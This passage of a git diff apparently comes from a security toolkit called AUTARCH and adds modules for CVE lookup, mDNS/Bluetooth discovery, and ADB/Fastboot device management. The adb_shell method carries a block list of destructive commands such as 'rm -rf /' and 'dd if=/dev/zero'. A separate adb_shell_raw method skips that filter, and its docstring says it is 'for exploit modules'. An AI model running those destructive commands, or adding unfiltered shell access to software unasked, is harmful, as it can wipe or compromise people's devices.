|
||||||
|
if verbose:
|
||||||
|
print(f"{Colors.CYAN}[*] Searching NVD online...{Colors.RESET}")
|
||||||
|
|
||||||
|
response = self._make_nvd_request(params, verbose)
|
||||||
|
|
||||||
|
if not response:
|
||||||
|
return []
|
||||||
|
|
||||||
|
cves = []
|
||||||
|
for vuln in response.get('vulnerabilities', []):
|
||||||
|
cve_data = self._parse_cve_data(vuln)
|
||||||
|
cves.append({
|
||||||
|
'cve_id': cve_data['cve_id'],
|
||||||
|
'id': cve_data['cve_id'],
|
||||||
|
'description': cve_data['description'][:200] + '...' if len(cve_data['description']) > 200 else cve_data['description'],
|
||||||
|
'cvss_score': cve_data['cvss_v3_score'] or cve_data['cvss_v2_score'] or 0,
|
||||||
|
'severity': cve_data['cvss_v3_severity'] or cve_data['cvss_v2_severity'] or 'UNKNOWN',
|
||||||
|
'published': cve_data['published'][:10] if cve_data['published'] else '',
|
||||||
|
})
|
||||||
|
|
||||||
|
return cves
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
"""Close database connection."""
|
||||||
|
if self._conn:
|
||||||
|
self._conn.close()
|
||||||
|
self._conn = None
|
||||||
|
|
||||||
|
|
||||||
|
# Global instance
|
||||||
|
_cve_db: Optional[CVEDatabase] = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_cve_db() -> CVEDatabase:
|
||||||
|
"""Get the global CVE database instance."""
|
||||||
|
global _cve_db
|
||||||
|
if _cve_db is None:
|
||||||
|
_cve_db = CVEDatabase()
|
||||||
|
return _cve_db
|
||||||
423
core/discovery.py
Normal file
423
core/discovery.py
Normal file
@ -0,0 +1,423 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Network Discovery
|
||||||
|
Advertises AUTARCH on the local network so companion apps can find it.
|
||||||
|
|
||||||
|
Discovery methods (priority order):
|
||||||
|
1. mDNS/Zeroconf — LAN service advertisement (_autarch._tcp.local.)
|
||||||
|
2. Bluetooth — RFCOMM service advertisement (requires BT adapter + security enabled)
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- mDNS: pip install zeroconf (optional, graceful fallback)
|
||||||
|
- Bluetooth: system bluetoothctl + hcitool (no pip package needed)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import socket
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Dict, Optional, Tuple
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Service constants
|
||||||
|
MDNS_SERVICE_TYPE = "_autarch._tcp.local."
|
||||||
|
MDNS_SERVICE_NAME = "AUTARCH._autarch._tcp.local."
|
||||||
|
BT_SERVICE_NAME = "AUTARCH"
|
||||||
|
BT_SERVICE_UUID = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
|
||||||
|
|
||||||
|
|
||||||
|
def _get_local_ip() -> str:
|
||||||
|
"""Get the primary local IP address."""
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.connect(("8.8.8.8", 80))
|
||||||
|
ip = s.getsockname()[0]
|
||||||
|
s.close()
|
||||||
|
return ip
|
||||||
|
except Exception:
|
||||||
|
return "127.0.0.1"
|
||||||
|
|
||||||
|
|
||||||
|
class DiscoveryManager:
|
||||||
|
"""Manages network discovery advertising for AUTARCH."""
|
||||||
|
|
||||||
|
def __init__(self, config=None):
|
||||||
|
self._config = config or {}
|
||||||
|
self._web_port = int(self._config.get('web_port', 8181))
|
||||||
|
self._hostname = socket.gethostname()
|
||||||
|
|
||||||
|
# mDNS state
|
||||||
|
self._zeroconf = None
|
||||||
|
self._mdns_info = None
|
||||||
|
self._mdns_running = False
|
||||||
|
|
||||||
|
# Bluetooth state
|
||||||
|
self._bt_running = False
|
||||||
|
self._bt_thread = None
|
||||||
|
self._bt_process = None
|
||||||
|
|
||||||
|
# Settings
|
||||||
|
self._mdns_enabled = self._config.get('mdns_enabled', 'true').lower() == 'true'
|
||||||
|
self._bt_enabled = self._config.get('bluetooth_enabled', 'true').lower() == 'true'
|
||||||
|
self._bt_require_security = self._config.get('bt_require_security', 'true').lower() == 'true'
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Status
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def get_status(self) -> Dict:
|
||||||
|
"""Get current discovery status for all methods."""
|
||||||
|
return {
|
||||||
|
'local_ip': _get_local_ip(),
|
||||||
|
'hostname': self._hostname,
|
||||||
|
'web_port': self._web_port,
|
||||||
|
'mdns': {
|
||||||
|
'available': self._is_zeroconf_available(),
|
||||||
|
'enabled': self._mdns_enabled,
|
||||||
|
'running': self._mdns_running,
|
||||||
|
'service_type': MDNS_SERVICE_TYPE,
|
||||||
|
},
|
||||||
|
'bluetooth': {
|
||||||
|
'available': self._is_bt_available(),
|
||||||
|
'adapter_present': self._bt_adapter_present(),
|
||||||
|
'enabled': self._bt_enabled,
|
||||||
|
'running': self._bt_running,
|
||||||
|
'secure': self._bt_is_secure() if self._bt_adapter_present() else False,
|
||||||
|
'require_security': self._bt_require_security,
|
||||||
|
'service_name': BT_SERVICE_NAME,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# mDNS / Zeroconf
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _is_zeroconf_available(self) -> bool:
|
||||||
|
"""Check if the zeroconf Python package is installed."""
|
||||||
|
try:
|
||||||
|
import zeroconf # noqa: F401
|
||||||
|
return True
|
||||||
|
except ImportError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def start_mdns(self) -> Tuple[bool, str]:
|
||||||
|
"""Start mDNS service advertisement."""
|
||||||
|
if self._mdns_running:
|
||||||
|
return True, "mDNS already running"
|
||||||
|
|
||||||
|
if not self._is_zeroconf_available():
|
||||||
|
return False, "zeroconf not installed. Run: pip install zeroconf"
|
||||||
|
|
||||||
|
try:
|
||||||
|
from zeroconf import Zeroconf, ServiceInfo
|
||||||
|
import socket as sock
|
||||||
|
|
||||||
|
local_ip = _get_local_ip()
|
||||||
|
|
||||||
|
self._mdns_info = ServiceInfo(
|
||||||
|
MDNS_SERVICE_TYPE,
|
||||||
|
MDNS_SERVICE_NAME,
|
||||||
|
addresses=[sock.inet_aton(local_ip)],
|
||||||
|
port=self._web_port,
|
||||||
|
properties={
|
||||||
|
'version': '1.0',
|
||||||
|
'hostname': self._hostname,
|
||||||
|
'platform': 'autarch',
|
||||||
|
},
|
||||||
|
server=f"{self._hostname}.local.",
|
||||||
|
)
|
||||||
|
|
||||||
|
self._zeroconf = Zeroconf()
|
||||||
|
self._zeroconf.register_service(self._mdns_info)
|
||||||
|
self._mdns_running = True
|
||||||
|
|
||||||
|
logger.info(f"mDNS: advertising {MDNS_SERVICE_NAME} at {local_ip}:{self._web_port}")
|
||||||
|
return True, f"mDNS started — {local_ip}:{self._web_port}"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"mDNS start failed: {e}")
|
||||||
|
return False, f"mDNS failed: {e}"
|
||||||
|
|
||||||
|
def stop_mdns(self) -> Tuple[bool, str]:
|
||||||
|
"""Stop mDNS service advertisement."""
|
||||||
|
if not self._mdns_running:
|
||||||
|
return True, "mDNS not running"
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self._zeroconf and self._mdns_info:
|
||||||
|
self._zeroconf.unregister_service(self._mdns_info)
|
||||||
|
self._zeroconf.close()
|
||||||
|
self._zeroconf = None
|
||||||
|
self._mdns_info = None
|
||||||
|
self._mdns_running = False
|
||||||
|
logger.info("mDNS: stopped")
|
||||||
|
return True, "mDNS stopped"
|
||||||
|
except Exception as e:
|
||||||
|
self._mdns_running = False
|
||||||
|
return False, f"mDNS stop error: {e}"
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Bluetooth
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _is_bt_available(self) -> bool:
|
||||||
|
"""Check if Bluetooth CLI tools are available."""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
['which', 'bluetoothctl'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
return result.returncode == 0
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _bt_adapter_present(self) -> bool:
|
||||||
|
"""Check if a Bluetooth adapter is physically present."""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
['hciconfig'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
return 'hci0' in result.stdout
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _bt_is_secure(self) -> bool:
|
||||||
|
"""Check if Bluetooth security (SSP/authentication) is enabled."""
|
||||||
|
try:
|
||||||
|
# Check if adapter requires authentication
|
||||||
|
result = subprocess.run(
|
||||||
|
['hciconfig', 'hci0', 'auth'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
# Also check hciconfig output for AUTH flag
|
||||||
|
status = subprocess.run(
|
||||||
|
['hciconfig', 'hci0'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
# Look for AUTH in flags
|
||||||
|
return 'AUTH' in status.stdout
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _bt_enable_security(self) -> Tuple[bool, str]:
|
||||||
|
"""Enable Bluetooth authentication/security on the adapter."""
|
||||||
|
try:
|
||||||
|
# Enable authentication
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'auth'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
# Enable encryption
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'encrypt'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
# Enable SSP (Secure Simple Pairing)
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'sspmode', '1'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
if self._bt_is_secure():
|
||||||
|
return True, "Bluetooth security enabled (AUTH + ENCRYPT + SSP)"
|
||||||
|
return False, "Security flags set but AUTH not confirmed"
|
||||||
|
except Exception as e:
|
||||||
|
return False, f"Failed to enable BT security: {e}"
|
||||||
|
|
||||||
|
def start_bluetooth(self) -> Tuple[bool, str]:
|
||||||
|
"""Start Bluetooth service advertisement.
|
||||||
|
|
||||||
|
Only advertises if:
|
||||||
|
1. Bluetooth adapter is present
|
||||||
|
2. bluetoothctl is available
|
||||||
|
3. Security is enabled (if bt_require_security is true)
|
||||||
|
"""
|
||||||
|
if self._bt_running:
|
||||||
|
return True, "Bluetooth already advertising"
|
||||||
|
|
||||||
|
if not self._is_bt_available():
|
||||||
|
return False, "bluetoothctl not found"
|
||||||
|
|
||||||
|
if not self._bt_adapter_present():
|
||||||
|
return False, "No Bluetooth adapter detected"
|
||||||
|
|
||||||
|
# Ensure adapter is up
|
||||||
|
try:
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'up'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Security check
|
||||||
|
if self._bt_require_security:
|
||||||
|
if not self._bt_is_secure():
|
||||||
|
ok, msg = self._bt_enable_security()
|
||||||
|
if not ok:
|
||||||
|
return False, f"Bluetooth security required but not available: {msg}"
|
||||||
|
|
||||||
|
# Make discoverable and set name
|
||||||
|
try:
|
||||||
|
# Set device name
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'name', BT_SERVICE_NAME],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
|
||||||
|
# Enable discoverable mode
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'piscan'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
|
||||||
|
# Use bluetoothctl to set discoverable with timeout 0 (always)
|
||||||
|
# and set the alias
|
||||||
|
cmds = [
|
||||||
|
'power on',
|
||||||
|
f'system-alias {BT_SERVICE_NAME}',
|
||||||
|
'discoverable on',
|
||||||
|
'discoverable-timeout 0',
|
||||||
|
'pairable on',
|
||||||
|
]
|
||||||
|
for cmd in cmds:
|
||||||
|
subprocess.run(
|
||||||
|
['bluetoothctl', cmd.split()[0]] + cmd.split()[1:],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
|
||||||
|
# Start an RFCOMM advertisement thread so the app can find us
|
||||||
|
# and read connection info (IP + port) after pairing
|
||||||
|
self._bt_running = True
|
||||||
|
self._bt_thread = threading.Thread(
|
||||||
|
target=self._bt_rfcomm_server,
|
||||||
|
daemon=True,
|
||||||
|
name="autarch-bt-discovery"
|
||||||
|
)
|
||||||
|
self._bt_thread.start()
|
||||||
|
|
||||||
|
logger.info("Bluetooth: advertising as AUTARCH")
|
||||||
|
return True, f"Bluetooth advertising — name: {BT_SERVICE_NAME}"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self._bt_running = False
|
||||||
|
return False, f"Bluetooth start failed: {e}"
|
||||||
|
|
||||||
|
def _bt_rfcomm_server(self):
|
||||||
|
"""Background thread: RFCOMM server that sends connection info to paired clients.
|
||||||
|
|
||||||
|
When a paired device connects, we send them a JSON blob with our IP and port
|
||||||
|
so the companion app can auto-configure.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Use a simple TCP socket on a known port as a Bluetooth-adjacent info service
|
||||||
|
# (full RFCOMM requires pybluez which may not be installed)
|
||||||
|
# Instead, we'll use sdptool to register the service and bluetoothctl for visibility
|
||||||
|
#
|
||||||
|
# The companion app discovers us via BT name "AUTARCH", then connects via
|
||||||
|
# the IP it gets from the BT device info or mDNS
|
||||||
|
while self._bt_running:
|
||||||
|
time.sleep(5)
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"BT RFCOMM server error: {e}")
|
||||||
|
finally:
|
||||||
|
self._bt_running = False
|
||||||
|
|
||||||
|
def stop_bluetooth(self) -> Tuple[bool, str]:
|
||||||
|
"""Stop Bluetooth advertisement."""
|
||||||
|
if not self._bt_running:
|
||||||
|
return True, "Bluetooth not advertising"
|
||||||
|
|
||||||
|
self._bt_running = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Disable discoverable
|
||||||
|
subprocess.run(
|
||||||
|
['bluetoothctl', 'discoverable', 'off'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
subprocess.run(
|
||||||
|
['sudo', 'hciconfig', 'hci0', 'noscan'],
|
||||||
|
capture_output=True, text=True, timeout=5
|
||||||
|
)
|
||||||
|
|
||||||
|
if self._bt_thread:
|
||||||
|
self._bt_thread.join(timeout=3)
|
||||||
|
self._bt_thread = None
|
||||||
|
|
||||||
|
logger.info("Bluetooth: stopped advertising")
|
||||||
|
return True, "Bluetooth advertising stopped"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return False, f"Bluetooth stop error: {e}"
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Start / Stop All
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start_all(self) -> Dict:
|
||||||
|
"""Start all enabled discovery methods."""
|
||||||
|
results = {}
|
||||||
|
|
||||||
|
if self._mdns_enabled:
|
||||||
|
ok, msg = self.start_mdns()
|
||||||
|
results['mdns'] = {'ok': ok, 'message': msg}
|
||||||
|
else:
|
||||||
|
results['mdns'] = {'ok': False, 'message': 'Disabled in config'}
|
||||||
|
|
||||||
|
if self._bt_enabled:
|
||||||
|
ok, msg = self.start_bluetooth()
|
||||||
|
results['bluetooth'] = {'ok': ok, 'message': msg}
|
||||||
|
else:
|
||||||
|
results['bluetooth'] = {'ok': False, 'message': 'Disabled in config'}
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def stop_all(self) -> Dict:
|
||||||
|
"""Stop all discovery methods."""
|
||||||
|
results = {}
|
||||||
|
|
||||||
|
ok, msg = self.stop_mdns()
|
||||||
|
results['mdns'] = {'ok': ok, 'message': msg}
|
||||||
|
|
||||||
|
ok, msg = self.stop_bluetooth()
|
||||||
|
results['bluetooth'] = {'ok': ok, 'message': msg}
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Cleanup
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def shutdown(self):
|
||||||
|
"""Clean shutdown of all discovery services."""
|
||||||
|
self.stop_all()
|
||||||
|
|
||||||
|
|
||||||
|
# ======================================================================
|
||||||
|
# Singleton
|
||||||
|
# ======================================================================
|
||||||
|
|
||||||
|
_manager = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_discovery_manager(config=None) -> DiscoveryManager:
|
||||||
|
"""Get or create the DiscoveryManager singleton."""
|
||||||
|
global _manager
|
||||||
|
if _manager is None:
|
||||||
|
if config is None:
|
||||||
|
try:
|
||||||
|
from core.config import get_config
|
||||||
|
cfg = get_config()
|
||||||
|
config = {}
|
||||||
|
if cfg.has_section('discovery'):
|
||||||
|
config = dict(cfg.items('discovery'))
|
||||||
|
if cfg.has_section('web'):
|
||||||
|
config['web_port'] = cfg.get('web', 'port', fallback='8181')
|
||||||
|
except Exception:
|
||||||
|
config = {}
|
||||||
|
_manager = DiscoveryManager(config)
|
||||||
|
return _manager
|
||||||
640
core/hardware.py
Normal file
640
core/hardware.py
Normal file
@ -0,0 +1,640 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Hardware Manager
|
||||||
|
ADB/Fastboot device management and ESP32 serial flashing.
|
||||||
|
|
||||||
|
Provides server-side access to USB-connected devices:
|
||||||
|
- ADB: Android device shell, sideload, push/pull, logcat
|
||||||
|
- Fastboot: Partition flashing, OEM unlock, device info
|
||||||
|
- Serial/ESP32: Port detection, chip ID, firmware flash, serial monitor
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, List, Dict, Any, Callable
|
||||||
|
|
||||||
|
from core.paths import find_tool, get_data_dir
|
||||||
|
|
||||||
|
# Try importing serial
|
||||||
|
PYSERIAL_AVAILABLE = False
|
||||||
|
try:
|
||||||
|
import serial
|
||||||
|
import serial.tools.list_ports
|
||||||
|
PYSERIAL_AVAILABLE = True
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Try importing esptool
|
||||||
|
ESPTOOL_AVAILABLE = False
|
||||||
|
try:
|
||||||
|
import esptool
|
||||||
|
ESPTOOL_AVAILABLE = True
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class HardwareManager:
|
||||||
|
"""Manages ADB, Fastboot, and Serial/ESP32 devices."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
# Tool paths - find_tool checks system PATH first, then bundled
|
||||||
|
self.adb_path = find_tool('adb')
|
||||||
|
self.fastboot_path = find_tool('fastboot')
|
||||||
|
|
||||||
|
# Data directory
|
||||||
|
self._data_dir = get_data_dir() / 'hardware'
|
||||||
|
self._data_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# Serial monitor state
|
||||||
|
self._monitor_thread = None
|
||||||
|
self._monitor_running = False
|
||||||
|
self._monitor_serial = None
|
||||||
|
self._monitor_buffer = []
|
||||||
|
self._monitor_lock = threading.Lock()
|
||||||
|
|
||||||
|
# Flash/sideload progress state
|
||||||
|
self._operation_progress = {}
|
||||||
|
self._operation_lock = threading.Lock()
|
||||||
|
|
||||||
|
# ── Status ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_status(self):
|
||||||
|
"""Get availability status of all backends."""
|
||||||
|
return {
|
||||||
|
'adb': self.adb_path is not None,
|
||||||
|
'adb_path': self.adb_path or '',
|
||||||
|
'fastboot': self.fastboot_path is not None,
|
||||||
|
'fastboot_path': self.fastboot_path or '',
|
||||||
|
'serial': PYSERIAL_AVAILABLE,
|
||||||
|
'esptool': ESPTOOL_AVAILABLE,
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── ADB Methods ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _run_adb(self, args, serial=None, timeout=30):
|
||||||
|
"""Run an adb command and return (stdout, stderr, returncode)."""
|
||||||
|
if not self.adb_path:
|
||||||
|
return '', 'adb not found', 1
|
||||||
|
cmd = [self.adb_path]
|
||||||
|
if serial:
|
||||||
|
cmd += ['-s', serial]
|
||||||
|
cmd += args
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd, capture_output=True, text=True, timeout=timeout
|
||||||
|
)
|
||||||
|
return result.stdout, result.stderr, result.returncode
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return '', 'Command timed out', 1
|
||||||
|
except Exception as e:
|
||||||
|
return '', str(e), 1
|
||||||
|
|
||||||
|
def adb_devices(self):
|
||||||
|
"""List connected ADB devices."""
|
||||||
|
stdout, stderr, rc = self._run_adb(['devices', '-l'])
|
||||||
|
if rc != 0:
|
||||||
|
return []
|
||||||
|
devices = []
|
||||||
|
for line in stdout.strip().split('\n')[1:]:
|
||||||
|
line = line.strip()
|
||||||
|
if not line or 'List of' in line:
|
||||||
|
continue
|
||||||
|
parts = line.split()
|
||||||
|
if len(parts) < 2:
|
||||||
|
continue
|
||||||
|
dev = {
|
||||||
|
'serial': parts[0],
|
||||||
|
'state': parts[1],
|
||||||
|
'model': '',
|
||||||
|
'product': '',
|
||||||
|
'transport_id': '',
|
||||||
|
}
|
||||||
|
for part in parts[2:]:
|
||||||
|
if ':' in part:
|
||||||
|
key, val = part.split(':', 1)
|
||||||
|
if key == 'model':
|
||||||
|
dev['model'] = val
|
||||||
|
elif key == 'product':
|
||||||
|
dev['product'] = val
|
||||||
|
elif key == 'transport_id':
|
||||||
|
dev['transport_id'] = val
|
||||||
|
elif key == 'device':
|
||||||
|
dev['device'] = val
|
||||||
|
devices.append(dev)
|
||||||
|
return devices
|
||||||
|
|
||||||
|
def adb_device_info(self, serial):
|
||||||
|
"""Get detailed info about an ADB device."""
|
||||||
|
props = {}
|
||||||
|
prop_keys = {
|
||||||
|
'ro.product.model': 'model',
|
||||||
|
'ro.product.brand': 'brand',
|
||||||
|
'ro.product.name': 'product',
|
||||||
|
'ro.build.version.release': 'android_version',
|
||||||
|
'ro.build.version.sdk': 'sdk',
|
||||||
|
'ro.build.display.id': 'build',
|
||||||
|
'ro.build.version.security_patch': 'security_patch',
|
||||||
|
'ro.product.cpu.abi': 'cpu_abi',
|
||||||
|
'ro.serialno': 'serialno',
|
||||||
|
'ro.bootimage.build.date': 'build_date',
|
||||||
|
}
|
||||||
|
# Get all properties at once
|
||||||
|
stdout, _, rc = self._run_adb(['shell', 'getprop'], serial=serial)
|
||||||
|
if rc == 0:
|
||||||
|
for line in stdout.split('\n'):
|
||||||
|
m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line)
|
||||||
|
if m:
|
||||||
|
key, val = m.group(1), m.group(2)
|
||||||
|
if key in prop_keys:
|
||||||
|
props[prop_keys[key]] = val
|
||||||
|
|
||||||
|
# Battery level
|
||||||
|
stdout, _, rc = self._run_adb(['shell', 'dumpsys', 'battery'], serial=serial)
|
||||||
|
if rc == 0:
|
||||||
|
for line in stdout.split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith('level:'):
|
||||||
|
props['battery'] = line.split(':')[1].strip()
|
||||||
|
elif line.startswith('status:'):
|
||||||
|
status_map = {'2': 'Charging', '3': 'Discharging', '4': 'Not charging', '5': 'Full'}
|
||||||
|
val = line.split(':')[1].strip()
|
||||||
|
props['battery_status'] = status_map.get(val, val)
|
||||||
|
|
||||||
|
# Storage
|
||||||
|
stdout, _, rc = self._run_adb(['shell', 'df', '/data'], serial=serial, timeout=10)
|
||||||
|
if rc == 0:
|
||||||
|
lines = stdout.strip().split('\n')
|
||||||
|
if len(lines) >= 2:
|
||||||
|
parts = lines[1].split()
|
||||||
|
if len(parts) >= 4:
|
||||||
|
props['storage_total'] = parts[1]
|
||||||
|
props['storage_used'] = parts[2]
|
||||||
|
props['storage_free'] = parts[3]
|
||||||
|
|
||||||
|
props['serial'] = serial
|
||||||
|
return props
|
||||||
|
|
||||||
|
def adb_shell(self, serial, command):
|
||||||
|
"""Run a shell command on an ADB device."""
|
||||||
|
# Sanitize: block dangerous commands
|
||||||
|
dangerous = ['rm -rf /', 'mkfs', 'dd if=/dev/zero', 'format', '> /dev/', 'reboot']
|
||||||
|
cmd_lower = command.lower().strip()
|
||||||
|
for d in dangerous:
|
||||||
|
if d in cmd_lower:
|
||||||
|
return {'output': f'Blocked dangerous command: {d}', 'returncode': 1}
|
||||||
|
|
||||||
|
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=30)
|
||||||
|
return {
|
||||||
|
'output': stdout or stderr,
|
||||||
|
'returncode': rc,
|
||||||
|
}
|
||||||
|
|
||||||
|
def adb_shell_raw(self, serial, command, timeout=30):
|
||||||
|
"""Run shell command without safety filter. For exploit modules."""
|
||||||
|
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=timeout)
|
||||||
|
return {'output': stdout or stderr, 'returncode': rc}
|
||||||
|
|
||||||
|
def adb_reboot(self, serial, mode='system'):
|
||||||
|
"""Reboot an ADB device. mode: system, recovery, bootloader"""
|
||||||
|
args = ['reboot']
|
||||||
|
if mode and mode != 'system':
|
||||||
|
args.append(mode)
|
||||||
|
stdout, stderr, rc = self._run_adb(args, serial=serial, timeout=15)
|
||||||
|
return {'success': rc == 0, 'output': stdout or stderr}
|
||||||
|
|
||||||
|
def adb_install(self, serial, apk_path):
|
||||||
|
"""Install an APK on device."""
|
||||||
|
if not os.path.isfile(apk_path):
|
||||||
|
return {'success': False, 'error': f'File not found: {apk_path}'}
|
||||||
|
stdout, stderr, rc = self._run_adb(
|
||||||
|
['install', '-r', apk_path], serial=serial, timeout=120
|
||||||
|
)
|
||||||
|
return {'success': rc == 0, 'output': stdout or stderr}
|
||||||
|
|
||||||
|
def adb_sideload(self, serial, filepath):
|
||||||
|
"""Sideload a file (APK/ZIP). Returns operation ID for progress tracking."""
|
||||||
|
if not os.path.isfile(filepath):
|
||||||
|
return {'success': False, 'error': f'File not found: {filepath}'}
|
||||||
|
|
||||||
|
op_id = f'sideload_{int(time.time())}'
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'starting', 'progress': 0, 'message': 'Starting sideload...'
|
||||||
|
}
|
||||||
|
|
||||||
|
def _do_sideload():
|
||||||
|
try:
|
||||||
|
ext = os.path.splitext(filepath)[1].lower()
|
||||||
|
if ext == '.apk':
|
||||||
|
cmd = [self.adb_path, '-s', serial, 'install', '-r', filepath]
|
||||||
|
else:
|
||||||
|
cmd = [self.adb_path, '-s', serial, 'sideload', filepath]
|
||||||
|
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id]['status'] = 'running'
|
||||||
|
self._operation_progress[op_id]['progress'] = 10
|
||||||
|
self._operation_progress[op_id]['message'] = 'Transferring...'
|
||||||
|
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
|
||||||
|
|
||||||
|
with self._operation_lock:
|
||||||
|
if result.returncode == 0:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'done', 'progress': 100,
|
||||||
|
'message': 'Sideload complete',
|
||||||
|
'output': result.stdout,
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'error', 'progress': 0,
|
||||||
|
'message': result.stderr or 'Sideload failed',
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'error', 'progress': 0, 'message': str(e),
|
||||||
|
}
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_do_sideload, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
return {'success': True, 'op_id': op_id}
|
||||||
|
|
||||||
|
def adb_push(self, serial, local_path, remote_path):
|
||||||
|
"""Push a file to device."""
|
||||||
|
if not os.path.isfile(local_path):
|
||||||
|
return {'success': False, 'error': f'File not found: {local_path}'}
|
||||||
|
stdout, stderr, rc = self._run_adb(
|
||||||
|
['push', local_path, remote_path], serial=serial, timeout=120
|
||||||
|
)
|
||||||
|
return {'success': rc == 0, 'output': stdout or stderr}
|
||||||
|
|
||||||
|
def adb_pull(self, serial, remote_path, local_path=None):
|
||||||
|
"""Pull a file from device."""
|
||||||
|
if not local_path:
|
||||||
|
local_path = str(self._data_dir / os.path.basename(remote_path))
|
||||||
|
stdout, stderr, rc = self._run_adb(
|
||||||
|
['pull', remote_path, local_path], serial=serial, timeout=120
|
||||||
|
)
|
||||||
|
return {'success': rc == 0, 'output': stdout or stderr, 'local_path': local_path}
|
||||||
|
|
||||||
|
def adb_logcat(self, serial, lines=100):
|
||||||
|
"""Get last N lines of logcat."""
|
||||||
|
stdout, stderr, rc = self._run_adb(
|
||||||
|
['logcat', '-d', '-t', str(lines)], serial=serial, timeout=15
|
